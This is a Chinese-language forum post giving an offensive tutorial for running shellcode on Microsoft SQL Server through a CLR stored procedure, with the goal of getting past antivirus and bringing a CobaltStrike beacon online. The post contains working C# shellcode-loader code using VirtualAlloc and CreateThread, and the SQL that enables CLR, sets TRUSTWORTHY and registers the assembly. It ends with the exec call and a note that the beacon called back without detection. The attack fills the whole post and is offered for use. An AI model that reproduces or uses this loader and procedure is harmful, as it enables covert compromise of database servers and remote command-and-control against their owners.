找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖
Claude、GPT 海外模型 API 接入云原生前端项目实战教程50G互联网架构师面试指南
大模型全栈开发课程企业级DevOps全栈实践零基础产品经理就业课程

4607

积分

0

好友

591

主题
发表于 半小时前 | 查看: 4| 回复: 0

介绍

MSSQL 里执行系统命令的常规方式主要有三种:xp_cmdshellSP_OACREATECLR。先简单回顾一下它们的原理。

xp_cmdshell

xp_cmdshellSQL Server 内置的系统存储过程,允许直接通过 SQL Server 执行 Windows 操作系统命令。调用时只需传入一个字符串参数(即要执行的 Windows 命令),xp_cmdshell 会把该命令交给 Windows 的 cmd.exe 去执行,并将运行结果返回。

SP_OACREATE

SP_OACREATE 同样是 SQL Server 的系统存储过程,用来创建 OLE 对象。OLE(Object Linking and Embedding)允许应用程序之间共享数据和功能。借助 SP_OACREATE,可以在 SQL Server 里创建并调用 COM(Component Object Model)对象,进而达到执行系统命令的目的。

CLR

CLR(Common Language Runtime)则允许使用 .NET Framework 语言编写托管代码,直接在 SQL Server 数据库引擎中执行。当 SQL Server 执行这些对象时,CLR 负责加载运行它们;SQL Server 把调用传给 CLR,执行完成后结果再返回数据库,整个过程同样能实现系统命令的落地。

问题在于,上面三种方式最终都会调用 cmd.exe,这条路基本被安全软件盯死了。有没有办法不经过 cmd 直接执行命令?下面就来介绍一种通过 CLR 存储过程加载 Shellcode,从而绕过杀软上线 CobaltStrike 的思路。

360安全大脑拦截SQL Server漏洞入侵弹窗提醒

开始

Visual Studio 配置

先在 Visual Studio 安装器里勾选"数据存储和处理"工作负载,这一步会带上后续需要的 SQL Server Data Tools 相关组件。

Visual Studio Installer安装数据存储和处理工具集截图

项目配置

新建一个项目,模板选择 SQL Server 数据库项目

Visual Studio创建SQL Server数据库项目模板选择

项目创建完成后,右键点击项目,选择"属性"。

SQL Server数据库项目右键属性菜单

进入项目设置,先在"项目设置"页选择目标数据库版本,这里选择 SQL Server 2012,并勾选"创建脚本(.sql 文件)"。

SQL Server数据库项目设置目标平台与创建脚本选项

接着切到 SQLCLR 页,设置目标 .NET Framework 版本,权限级别务必选择 UNSAFE

SQLCLR权限级别设置UNSAFE配置界面

在项目中添加新项,选择 SQL CLR C# 存储过程 模板。

添加SQL CLR C#存储过程模板

代码

开始编写核心代码。

using System;
using Microsoft.SqlServer.Server;
using System.Runtime.InteropServices;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void shellcode_loader(string sc)
    {
        // 在此处放置代码
        SqlContext.Pipe.Send(shellcode_exec(sc));
    }

    public static string shellcode_exec(string sc)
    {
        byte[] sa = new byte[1000];
        int shellcode_len = sc.Length / 2;
        for (int i = 0; i < shellcode_len; i++)
        {
            string code = "0x" + sc.Substring(i * 2, 2);
            int a = Convert.ToInt32(code, 16);
            sa[i] = (byte)a;
        }

        UInt32 shellcodeAddress = VirtualAlloc(0, (UInt32)sa.Length, 0x1000, 0x40);
        Marshal.Copy(sa, 0, (IntPtr)(shellcodeAddress), sa.Length);
        CreateThread(0, 0, shellcodeAddress, 0, 0, 0);
        return "";
    }

    [DllImport("kernel32")]
    private static extern UInt32 VirtualAlloc(UInt32 lpAddress, UInt32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

    [DllImport("kernel32")]
    private static extern UInt32 CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, UInt32 lpParameter, UInt32 dwCreationFlags, UInt32 lpThreadId);
}

代码写好后,把编译配置切换为 Release,点击"启动"生成项目。

Visual Studio中编写C# shellcode_loader存储过程代码

执行

编译完成后,打开 你的项目名称\bin\Release 目录下的 项目名称.sql,可以找到类似下面的程序集创建语句:

GO
CREATE ASSEMBLY [你项目的名字]
    AUTHORIZATION [dbo]
    FROM 0x4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000

登录目标数据库,按顺序执行以下 SQL 脚本:

sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
ALTER DATABASE master SET TRUSTWORTHY ON;
GO
CREATE ASSEMBLY [你项目的名字]
    AUTHORIZATION [dbo]
    FROM 0x4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000
GO
CREATE PROCEDURE [dbo].[shellcode_loader]
@sc NVARCHAR (MAX)
AS EXTERNAL NAME [你项目的名字].[StoredProcedures].[shellcode_loader]

数据库执行CLR程序集创建与shellcode_loader存储过程注册脚本

接下来用 CobaltStrike 生成 Shellcode。这里要特别注意:payload 的位数必须与目标数据库实例的位数一致,否则数据库很可能会直接崩溃。

CobaltStrike Payload Generator生成C格式Shellcode

拿到 Shellcode 后,去掉 \x 转义前缀,执行下面的命令即可:

exec shellcode_loader 'shellcode'

执行exec shellcode_loader加载Shellcode查询

上线

执行成功后,CobaltStrike 就能收到 Beacons 回连,顺利完成上线。整个过程中没有触发杀软报毒。

CobaltStrike Beacons成功上线MSSQL目标主机

注意事项

  1. 在 SQL Server 2016 及更高版本中,官方收紧了一些安全策略,执行上述操作可能导致数据库连接被迫中断。
  2. payload 位数必须与数据库位数匹配,否则数据库会崩溃。

参考资料




上一篇:SQL注入WAF绕过实战:IIS安全狗防护下攻破XYCMS
下一篇:Codex 重置卡实测:额度缩水一半,自然重置顺延 7 天
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-9-18 23:54 , Processed in 0.716869 second(s), 39 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表